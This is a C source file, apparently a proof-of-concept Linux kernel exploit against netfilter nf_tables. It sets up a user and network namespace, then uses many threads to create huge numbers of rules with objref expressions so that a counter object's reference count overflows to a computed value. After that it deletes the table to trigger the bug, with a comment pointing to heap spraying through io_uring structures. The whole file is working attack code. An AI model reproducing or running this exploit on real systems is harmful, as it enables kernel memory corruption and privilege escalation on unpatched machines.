/* gcc exploit.c -no-pie -o exp -lmnl -lnftnl -lpthread */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sched.h>
#include <ctype.h>
#include <pthread.h>
#include <fcntl.h>
#include <unistd.h>
#include <stddef.h>
#include <time.h>
#include <signal.h>
#include <sys/resource.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/msg.h>
#include <linux/ip.h>
#include <netinet/in.h>
#include <linux/netlink.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/keyctl.h>
#include <linux/unistd.h>
#include <linux/io_uring.h> /* contains io_uring_params for percpu_ref_data spraying */
#include <libnftnl/chain.h>
#include <libnftnl/table.h>
#include <libnftnl/rule.h>
#include <libnftnl/set.h>
#include <libnftnl/object.h>
#include <libnftnl/expr.h>
#include <libmnl/libmnl.h>
#include <arpa/inet.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#define DEF_CORE 3
#define MAX_RULE 3 // 3
#define CORE_NUM 16 //
#define MAX_RULES_THREAD 1000 // 176138
char chain_name[] = "chainA\0";
char table_name[] = "table1\0";
char obj_name[] = "obj1\0";
char set_name[] = "set1\0";
void errout(char *msg)
{
perror(msg);
exit(-1);
}
/* Hexdump utility for debugging purposes */
void hexdump(void *mem, unsigned int len)
{
unsigned int i = 0, j = 0;
for (i = 0; i < len + ((len % 16) ? (16 - len % 16) : 0); i++)
{
if (i % 16 == 0)
printf("0x%06x: ", i);
if (i < len)
printf("%02x ", 0xFF & ((char *)mem)[i]);
else
printf(" ");
if (i % 16 == (16 - 1))
{
for (j = i - (16 - 1); j <= i; j++)
{
if (j >= len)
putchar(' ');
else if (isprint(((char *)mem)[j]))
putchar(0xFF & ((char *)mem)[j]);
else
putchar('.');
}
putchar('\n');
}
}
return;
}
static void assign_to_core(int core_id)
{
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(core_id, &mask);
if (sched_setaffinity(getpid(), sizeof(mask), &mask) < 0)
{
errout("sched_setaffinity");
}
}
static int setup_sandbox(void)
{
struct rlimit fdlim;
cpu_set_t set;
int pid;
// assign_to_core(DEF_CORE);
/*
Execute ourselves in a new network namespace to
be able to trigger and exploit the bug
*/
/* For another user can communicate with netlink - somehow */
if (unshare(CLONE_NEWUSER) < 0)
{
perror("[-] unshare(CLONE_NEWUSER)");
return -1;
}
/* Network namespaces provide isolation of the system resources */
if (unshare(CLONE_NEWNET) < 0)
{
perror("[-] unshare(CLONE_NEWNET)");
return -1;
}
// CPU_ZERO(&set);
// CPU_SET(0, &set);
// if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) {
// perror("[-] sched_setaffinity");
// return -1;
// }
return 0;
}
void create_table_chain(struct mnl_socket *nl) {
struct mnl_nlmsg_batch *batch = NULL;
struct nlmsghdr *nh = NULL;
int r = 0;
int seq = 0;
char buf[16384] = {0};
struct nftnl_table *table = NULL;
// assign_to_core(DEF_CORE);
puts("[+] create_table_chain");
table = nftnl_table_alloc();
nftnl_table_set_str(table, NFTNL_TABLE_NAME, strdup(table_name));
// nftnl_table_set_data(table, NFTNL_TABLE_USERDATA, data, size);
/* Create obj1 to table1 */
struct nftnl_obj *obj = nftnl_obj_alloc();
nftnl_obj_set_str(obj, NFTNL_OBJ_TABLE, table_name);
nftnl_obj_set_str(obj, NFTNL_OBJ_NAME, obj_name);
nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_COUNTER);
/* Adding chain hooking */
struct nftnl_chain *chain2 = NULL;
chain2 = nftnl_chain_alloc();
nftnl_chain_set_str(chain2, NFTNL_CHAIN_NAME, chain_name);
nftnl_chain_set_str(chain2, NFTNL_CHAIN_TABLE, table_name);
nftnl_chain_set_data(chain2, NFTNL_CHAIN_TYPE, strdup("filter"), 0);
nftnl_chain_set_u32(chain2, NFTNL_CHAIN_HOOKNUM, NF_INET_LOCAL_OUT);
nftnl_chain_set_u32(chain2, NFTNL_CHAIN_PRIO, 0);
/* ======================================================================================= */
// /* Create set and add it to table1 */
// struct nftnl_set *set = nftnl_set_alloc();
// nftnl_set_set_str(set, NFTNL_SET_TABLE, table_name);
// nftnl_set_set_str(set, NFTNL_SET_NAME, set_name);
// nftnl_set_set_u32(set, NFTNL_SET_KEY_LEN, 8);
// nftnl_set_set_u32(set, NFTNL_SET_ID, htonl(0xcafe));
// nftnl_set_set_u32(set, NFTNL_SET_FLAGS,
// NFT_SET_OBJECT); // NFT_SET_TIMEOUT, NFT_SET_ANONYMOUS
// nftnl_set_set_u32(set, NFTNL_SET_OBJ_TYPE, NFT_OBJECT_COUNTER);
// nftnl_set_set_u32(set, NFTNL_SET_KEY_TYPE, 13);
// // nftnl_set_set_u64(set, NFTNL_SET_TIMEOUT, 1500);
// // nftnl_set_set_u32(set, NFTNL_SET_GC_INTERVAL, 2000);
// nftnl_set_set_u32(set, NFTNL_SET_FAMILY, NFPROTO_IPV4);
// /* Linking set */
// struct nftnl_set *sx = nftnl_set_alloc();
// nftnl_set_set_str(sx, NFTNL_SET_TABLE, table_name);
// nftnl_set_set_u32(sx, NFTNL_SET_ID, htonl(0xcafe));
// /* Create set element and add set_elem into set */
// struct nftnl_set_elem *se = NULL;
// se = nftnl_set_elem_alloc();
// nftnl_set_elem_set_str(se, NFTNL_SET_ELEM_OBJREF, obj_name); // obj->use = 1
// nftnl_set_elem_set_u32(se, NFTNL_SET_ELEM_FLAGS,
// 0x2); /* NFT_SET_ELEM_CATCHALL = 0x2 */
// nftnl_set_elem_add(sx, se);
/* ======================================================================================= */
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
// table
nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWTABLE, NFPROTO_IPV4,
NLM_F_CREATE, seq++);
nftnl_table_nlmsg_build_payload(nh, table);
// mnl_attr_put(nh, NFTA_TABLE_USERDATA, size, data);
mnl_nlmsg_batch_next(batch);
// obj
nh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWOBJ, NFPROTO_IPV4, NLM_F_CREATE,
seq++);
nftnl_obj_nlmsg_build_payload(nh, obj);
mnl_nlmsg_batch_next(batch);
// // set
// nh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
// NFT_MSG_NEWSET, NFPROTO_IPV4,
// NLM_F_CREATE, seq++);
// nftnl_set_nlmsg_build_payload(nh, set);
// mnl_nlmsg_batch_next(batch);
// // set element
// nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
// NFT_MSG_NEWSETELEM, NFPROTO_IPV4,
// NLM_F_CREATE, seq++);
// nftnl_set_elems_nlmsg_build_payload(nh, sx);
// mnl_nlmsg_batch_next(batch);
// chain
nh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWCHAIN, NFPROTO_IPV4, NLM_F_CREATE,
seq++);
nftnl_chain_nlmsg_build_payload(nh, chain2);
mnl_nlmsg_batch_next(batch);
// send
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
r = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch));
if (r < 0)
errout("mnl_socket_sendto");
return;
}
/* Create a netfilter table */
void create_rule_expr(struct mnl_socket *nl)
{
struct mnl_nlmsg_batch *batch = NULL;
struct nlmsghdr *nh = NULL;
int r = 0;
int seq = 0;
char buf[16384] = {0};
struct nftnl_expr *expr[127] = {0};
struct nftnl_rule *rule[MAX_RULE+1] = {0};
// assign_to_core(DEF_CORE);
for (int j=0; j<MAX_RULE; j++) {
/* Add nft_rule to table */
rule[j] = nftnl_rule_alloc();
nftnl_rule_set_str(rule[j], NFTNL_RULE_TABLE, table_name);
nftnl_rule_set_str(rule[j], NFTNL_RULE_CHAIN, chain_name);
nftnl_rule_set_u32(rule[j], NFTNL_RULE_FAMILY, NFPROTO_IPV4);
for (int i=0; i<127; i++) {
/* Add nft_expr into nft_rule*/
expr[i] = nftnl_expr_alloc("objref");
nftnl_expr_set_str(expr[i], NFTNL_EXPR_OBJREF_IMM_NAME, obj_name); // obj->use++
nftnl_expr_set_u32(expr[i], NFTNL_EXPR_OBJREF_IMM_TYPE, NFT_OBJECT_COUNTER);
nftnl_rule_add_expr(rule[j], expr[i]);
}
}
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
for (int j=0; j<MAX_RULE; j++) {
// rule
nh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWRULE, NFPROTO_IPV4,
NLM_F_CREATE, seq++);
nftnl_rule_nlmsg_build_payload(nh, rule[j]);
nftnl_rule_free(rule[j]);
mnl_nlmsg_batch_next(batch);
}
// send
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
r = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch));
if (r < 0)
errout("mnl_socket_sendto");
return;
}
/* Create a netfilter table */
void create_rule_expr_append(struct mnl_socket *nl)
{
struct mnl_nlmsg_batch *batch = NULL;
struct nlmsghdr *nh = NULL;
int r = 0;
int seq = 0;
char buf[16384] = {0};
struct nftnl_expr *expr[4] = {0};
struct nftnl_rule *rule = NULL;
// assign_to_core(DEF_CORE);
rule = nftnl_rule_alloc();
nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, table_name);
nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name);
nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, NFPROTO_IPV4);
for (int i=0; i<4; i++) {
/* Add nft_expr into nft_rule*/
expr[i] = nftnl_expr_alloc("objref");
nftnl_expr_set_str(expr[i], NFTNL_EXPR_OBJREF_IMM_NAME, obj_name); // obj->use++
nftnl_expr_set_u32(expr[i], NFTNL_EXPR_OBJREF_IMM_TYPE, NFT_OBJECT_COUNTER);
nftnl_rule_add_expr(rule, expr[i]);
}
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
nh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWRULE, NFPROTO_IPV4,
NLM_F_CREATE, seq++);
nftnl_rule_nlmsg_build_payload(nh, rule);
nftnl_rule_free(rule);
mnl_nlmsg_batch_next(batch);
// send
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
r = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch));
if (r < 0)
errout("mnl_socket_sendto");
return;
}
/* Callback setelem get */
static int obj_cb(const struct nlmsghdr *nlh, void *data)
{
struct nftnl_set *t;
char buf[4096];
uint32_t *type = data;
// assign_to_core(DEF_CORE);
t = nftnl_set_alloc();
if (t == NULL)
{
perror("OOM");
goto err;
}
if (nftnl_set_elems_nlmsg_parse(nlh, t) < 0)
{
perror("nftnl_set_nlmsg_parse");
goto err_free;
}
nftnl_set_snprintf(buf, sizeof(buf), t, *type, 0);
err_free:
nftnl_set_free(t);
err:
return MNL_CB_OK;
}
void getobj(struct mnl_socket *nl){
char buf[MNL_SOCKET_BUFFER_SIZE];
struct nlmsghdr *nlh = NULL;
uint32_t seq = 0, ret = 0, portid = 0, cfd = 0, sfd = 0;
uint32_t type = NFTNL_OUTPUT_DEFAULT;
uint64_t use=0;
/* Create obj1 to table1 */
struct nftnl_obj *obj = nftnl_obj_alloc();
nftnl_obj_set_str(obj, NFTNL_OBJ_TABLE, table_name);
nftnl_obj_set_str(obj, NFTNL_OBJ_NAME, obj_name);
nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_COUNTER);
// nlh = nftnl_set_nlmsg_build_hdr(buf, NFT_MSG_GETSETELEM, NFPROTO_IPV4,
// NLM_F_DUMP | NLM_F_ACK, seq++);
// nftnl_set_elems_nlmsg_build_payload(nlh, s);
// // nftnl_set_free(s);
// obj
nlh = nftnl_nlmsg_build_hdr(buf, NFT_MSG_GETOBJ, NFPROTO_IPV4, NLM_F_DUMP | NLM_F_ACK, seq++);
nftnl_obj_nlmsg_build_payload(nlh, obj);
if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0)
{
errout("mnl_socket_sendto");
}
portid = mnl_socket_get_portid(nl); // ????
ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
while (ret > 0)
{
ret = mnl_cb_run(buf, ret, seq, portid, obj_cb, &type);
if (ret <= 0)
break;
ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
}
use = ntohl(*(uint32_t *)((char *)buf + 0x38));
printf("[+] use: 0x%lx\n", use);
// hexdump(buf, 0x200);
}
/* Delete a netfilter table */
void delete_table(struct mnl_socket *nl)
{
struct mnl_nlmsg_batch *batch = NULL;
struct nlmsghdr *nh = NULL;
int r = 0;
int seq = 0;
char buf[16384] = {0};
struct nftnl_table *table = NULL;
// assign_to_core(DEF_CORE);
puts("[+] Delete table");
table = nftnl_table_alloc();
nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name);
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
// table
nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_DELTABLE, NFPROTO_IPV4,
NLM_F_CREATE, seq++);
nftnl_table_nlmsg_build_payload(nh, table);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
r = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch));
if (r < 0)
errout("mnl_socket_sendto");
return;
}
void *thread_func(){
struct mnl_socket *nl;
nl = mnl_socket_open(NETLINK_NETFILTER);
if (!nl)
{
errout("mnl_socket_open");
}
//
for(int i=0; i<MAX_RULES_THREAD+1; i++) {
// printf("[+] create_rule_expr: 0x%lx\n", i);
create_rule_expr(nl); // obj->use += 381
}
puts("[+] Done thread");
}
void *thread_func2(){
struct mnl_socket *nl;
nl = mnl_socket_open(NETLINK_NETFILTER);
if (!nl)
{
errout("mnl_socket_open");
}
//
for(int i=0; i<MAX_RULES_THREAD; i++) {
// printf("[+] create_rule_expr: 0x%lx\n", i);
create_rule_expr(nl); // obj->use += 381
}
puts("[+] Done thread");
}
int main() {
uint64_t addr_value = 0;
struct mnl_socket *nl;
pthread_t thread[CORE_NUM] = {0};
int iret[CORE_NUM];
// assign_to_core(DEF_CORE);
puts("[+] Setup namespace sandbox");
if (setup_sandbox())
return -1;
nl = mnl_socket_open(NETLINK_NETFILTER);
if (!nl)
{
errout("mnl_socket_open");
}
create_table_chain(nl);
// // 0x2b00ac
// for(int i=0; i<0x10; i++) {
// printf("[+] create_rule_expr: 0x%lx\n", i); //
// create_rule_expr(nl); // obj->use += 381
// }
// part1
for (int i=0; i<12; i++) {
// use += max_rules*381
iret[i] = pthread_create( &thread[i], NULL, thread_func, NULL);
}
for (int i=0; i<4; i++) {
// use += max_rules*381
iret[i] = pthread_create( &thread[i+12], NULL, thread_func2, NULL);
}
for (int i=0; i<CORE_NUM; i++) {
pthread_join( thread[i], NULL);
}
// use = 0x3ffffffc = 176139 * 12 * 381 + 176138 * 4 * 381
create_rule_expr_append(nl);
// use = use +4 = 0x40000000
// CORE_NUM=16
// CORE_NUM*max_rules*381 -> use = 1<<30+1
getobj(nl);
delete_table(nl);
return 0;
}